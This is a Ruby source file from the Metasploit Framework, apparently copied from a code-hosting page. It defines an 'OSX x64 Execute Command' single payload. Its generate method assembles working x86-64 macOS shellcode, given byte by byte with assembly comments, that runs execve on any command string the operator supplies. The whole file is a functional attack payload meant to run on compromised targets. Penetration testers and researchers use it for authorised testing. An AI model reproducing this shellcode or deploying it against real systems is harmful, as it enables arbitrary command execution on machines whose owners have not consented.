54 lines
1.6 KiB
Ruby
54 lines
1.6 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
module Metasploit3
|
|
|
|
include Msf::Payload::Single
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'OSX x64 Execute Command',
|
|
'Version' => '$Revision$',
|
|
'Description' => 'Execute an arbitrary command',
|
|
'Author' => 'argp <argp[at]census-labs.com>',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_X86_64
|
|
))
|
|
|
|
# exec payload options
|
|
register_options(
|
|
[
|
|
OptString.new('CMD', [ true, "The command string to execute" ]),
|
|
], self.class)
|
|
end
|
|
|
|
# build the shellcode payload dynamically based on the user-provided CMD
|
|
def generate
|
|
cmd = (datastore['CMD'] || '') << "\x00"
|
|
call = "\xe8" + [cmd.length].pack('V')
|
|
payload =
|
|
"\x48\x31\xc0" + # xor rax, rax
|
|
"\x48\xb8\x3b\x00\x00\x02\x00\x00\x00\x00" + # mov rax, 0x200003b (execve)
|
|
call + # call CMD.len
|
|
cmd + # CMD
|
|
"\x48\x8b\x3c\x24" + # mov rdi, [rsp]
|
|
"\x48\x31\xd2" + # xor rdx, rdx
|
|
"\x52" + # push rdx
|
|
"\x57" + # push rdi
|
|
"\x48\x89\xe6" + # mov rsi, rsp
|
|
"\x0f\x05" # syscall
|
|
end
|
|
end
|